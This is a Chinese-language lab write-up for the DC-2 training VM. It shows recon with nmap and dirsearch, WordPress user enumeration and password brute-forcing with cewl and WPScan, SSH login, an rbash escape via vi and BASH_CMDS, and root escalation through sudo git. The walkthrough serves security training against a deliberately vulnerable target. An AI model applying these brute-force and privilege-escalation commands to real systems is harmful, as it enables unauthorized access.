当前位置:网站首页>DC-2靶场搭建及渗透实战详细过程(DC靶场系列)
DC-2靶场搭建及渗透实战详细过程(DC靶场系列)
2022-07-04 14:38:00 【金 帛】
目录
DC-2靶场下载地址http://www.five86.com/downloads/DC-2.zip
搭建过程和DC-1一样,将kali跟DC-2放同一网段即可
一. 信息收集
1. 探测目标主机IP地址
arp-scan -l
2. 全面检测目标IP
nmap -A -p- 192.168.120.131
可以看到开放了80端口http协议,还有7744端口ssh服务
Did not follow redirect to http://dc-2/
未遵循重定向到http://dc-2/
这个得修改本地DNS文件否则会访问不了 ,打开etc/hosts文件,添加一下本地DNS
192.168.120.131 dc-2
3. 网页信息探测
打开一下web页面,浏览器访问192.168.120.131

发现有flag选项,找到flag1,点进去划词翻译一下

这儿提示我们使用cewl工具生成字典,这关不能像常规一样利用cms漏洞攻击了(别问为啥,问就是试过很多次都没攻击成功)
4. 目录扫描
利用工具dirsearch扫描一下网站目录
dirsearch -u http://dc-2/ -e * -x 403 404
-u接网站地址
-e后接语言,可选php,asp,*(表示全部语言)等
-x表示过滤的状态码,扫描出来后不显示该状态

可以看到扫出来了个登入的页面 ,我们访问一下看看

果然是后台登入界面,接下来我们只要爆破出账号密码即可
二. Web端渗透
1. 字典生成
flag1提示了我们,一般的字典可能派不上用场,需要用到cewl工具爬取目标网站信息,生成相对应的字典
- 使用方法参考文章kali密码攻击工具——Cewl使用指南
cewl http://dc-2/ -w /root/桌面/dict.txt将爬取http://dc-2/网站生成的字典,放在桌面上的dict.txt文件中


2. 用户名枚举爆破
先简单介绍一下工具WPScan,参考Kali(渗透工具):WPScan的使用
WordPress是全球流行的博客网站,许多外国的博客都是用它搭建的,但是存在着很多漏洞,专注于这些漏洞与其特性,一个专门针对该CMS的WPScan工具出现了
wpscan --url dc-2 -e u
扫描出来了三个用户名,接着我们在桌面创建一个uname.txt文件,放着这些用户名
admin
jerry
tom3. 密码枚举爆破
这里我们依旧使用工具wpscan,用户名字典选择uname.txt,密码字典选择cewl生成的字典dict.txt
wpscan --url dc-2 -U /root/桌面/uname.txt -P /root/桌面/dict.txt
爆破出了jerry和tom的密码
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
然后我们进去后台登入,在jerry的账号中

拿到flag2,也提示了我们不能直接通过cms漏洞拿到shell了,让我们找另一种方法
三. 主机端渗透
1. ssh协议远程登入
ssh这东西呢是能用工具hydra通过爆破拿到,前面我们已经拿到过两个账号的用户名和密码,在这里先试一下,因为之前扫描出ssh的端口在7744,所以我们可以用下面的命令登入
ssh 用户名@主机地址 -p 端口我们尝试登入一下
ssh [email protected] -p 7744后面点yes,继续输入密码登入

发现无论怎么输入密码都是错的,说明没有jerry这个用户在里面,接着我们用tom的登入一下
ssh [email protected] -p 7744
登进去了,看一下权限
whoami ![]()
发现有rbash限制(可以理解为很低权限的用户吧)
2. rbash逃逸(Linux提权的一种)
具体所有方法可参考rbash逃逸方法总结
我们先来看一下rbash限制后能进行那些操作
echo $PATH
#查看上面得到path路径的所有文件
#运行结果 /home/tom/usr/bin
echo /home/tom/usr/bin/*
可以看见能用这四个命令,唯一有用的就只有vi(编辑器)这个命令,这里可以里用vi或者是BASH_CMDS设置shell来绕过rbash,然后再设置环境变量添加命令
- 法一:vi设置shell
先进入vi编辑器界面
vi然后按Esc键,输入
:set shell=/bin/bash设置好shell并回车,接着输入
:shell回车,启动shell

当看见退出了vi编辑器就说明成功了 ,接着我们看一下权限

已经升级为bash了,无法执行cat命令是因为环境变量的问题,用以下命令添加一下两条路径即可
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/- 法二:BASH_CMDS设置shell
设置一下shell并执行
BASH_CMDS[x]=/bin/bash
#设置了个x变量shell
x
#相当于执行shell
我们看到还是缺少了点命令,继续添加一下环境变量即可
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
接着cat一下flag文件
cat f*
拿到flag3,翻译一下

提示我们得su一下jerry,su是Linux切换用户的命令
3. su切换用户
su jerry再输入一下之前拿到的密码即可 登入进去

然后用命令找一下flag文件
find / -name *flag*
好吧看来除了flag4.txt,其他文件的权限都没有,我们先看看flag4.txt
cat /home/jerry/flag4.txt
提示了我们git,还有root看来是要提权的操作
4. Git提权
虽然flag给了我们提示,但是还是得找一下具有SUID权限的二进制文件的
find / -user root -perm -4000 -print 2>/dev/null
参考简谈SUID提权
好吧一个能用的文件都没有,看来只能用git了
sudo -l
发现git能使用root的权限,这里有两种提权的姿势
- 第一种
sudo git help config回车然后输入
!/bin/bash (这里bash也可以换成sh)- 第二种
sudo git -p help回车输入
!/bin/bash (这里bash也可以换成sh)
提权成功,然后找一下flag文件
cd /find / -name *flag*
然后打开一下
cat /root/final*
芜湖!拿到最终flag
四. 总结
1. 字典生成工具cewl
利用爬虫爬取网站,根据网站特点生成字典
cewl 网址(如https://www.baidu.com) -w 文件名(如dict.txt)2. 扫描工具WPScan(只适用于WordPress)
- 用户名枚举
wpscan --url 网站地址 -e u-e表示枚举类型,u表示用户名。这两个配合使用是枚举用户名
- 密码爆破
wpscan --url 网站地址 -U 用户名字典 -P 密码字典3. Linux的一些命令
编辑器命令
vi(或vim)可配合提权操作,进去后,按Esc键可执行操作,输入一下命令
:set shell=/bin/bash(bash可以用sh代替)
:shell可Getshell
- 环境变量查看(一般用于查看可执行命令)
echo $PATH记住$PATH的值,比如输出/home/jerry/bin
echo path路径下的文件这里配合上面命令得到的/home/jerry/bin,可以这样echo /home/jerry/bin/* 查看可执行的命令
- 添加环境变量
export PATH=$PATH:路径常用的命令的环境变量路径有/usr/bin/和/bin/
我们可以这样添加
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/- 用户切换
su 用户名之后输入该用户名密码即可
4. rbash逃逸
rbash逃逸是Linux提权的其中之一
- vi/vim法
vi在编辑器里执行命令,按Esc
:set shell=/bin/bash回车,然后打开我们的shell
:shell再设置一下环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/- BASH_CMDS法
利用它设置一个shell
BASH_CMDS[x]=/bin/bash(bash可以换为sh)然后执行shell
x再设置一下环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/边栏推荐
- Hair growth shampoo industry Research Report - market status analysis and development prospect forecast
- How can floating point numbers be compared with 0?
- @EnableAspectAutoJAutoProxy_ Exposeproxy property
- Explore mongodb - mongodb compass installation, configuration and usage introduction | mongodb GUI
- Application and Optimization Practice of redis in vivo push platform
- Socks agent tools earthworm, ssoks
- Cut! 39 year old Ali P9, saved 150million
- Market trend report, technical innovation and market forecast of China's hair repair therapeutic apparatus
- An article learns variables in go language
- Rearrange array
猜你喜欢

Filtered off site request to

I let the database lock the table! Almost fired!

Common API day03 of unity script

MySQL learning notes - data type (2)

What is torch NN?

error: ‘connect‘ was not declared in this scope connect(timer, SIGNAL(timeout()), this, SLOT(up

PR FAQ: how to set PR vertical screen sequence?

Vscode prompt Please install clang or check configuration 'clang executable‘

What should ABAP do when it calls a third-party API and encounters garbled code?

The vscode waveform curve prompts that the header file cannot be found (an error is reported if the header file exists)
随机推荐
【读书会第十三期】FFmpeg 查看媒体信息和处理音视频文件的常用方法
MySQL~MySQL给已有的数据表添加自增ID
%F format character
MySQL - MySQL adds self incrementing IDs to existing data tables
Scientific research cartoon | what else to do after connecting with the subjects?
System.currentTimeMillis() 和 System.nanoTime() 哪个更快?别用错了!
C implementation defines a set of intermediate SQL statements that can be executed across libraries
Unity animation day05
2021 Google vulnerability reward program review
Interface fonctionnelle, référence de méthode, Widget de tri de liste implémenté par lambda
Accounting regulations and professional ethics [7]
AutoCAD - set color
Understand the context in go language in an article
QT graphical view frame: element movement
AI has surpassed Dr. CS in question making?
科普达人丨一文看懂阿里云的秘密武器“神龙架构”
Market trend report, technical innovation and market forecast of electrochromic glass and devices in China and Indonesia
Lombok使用引发的血案
Filtered off site request to
. Net delay queue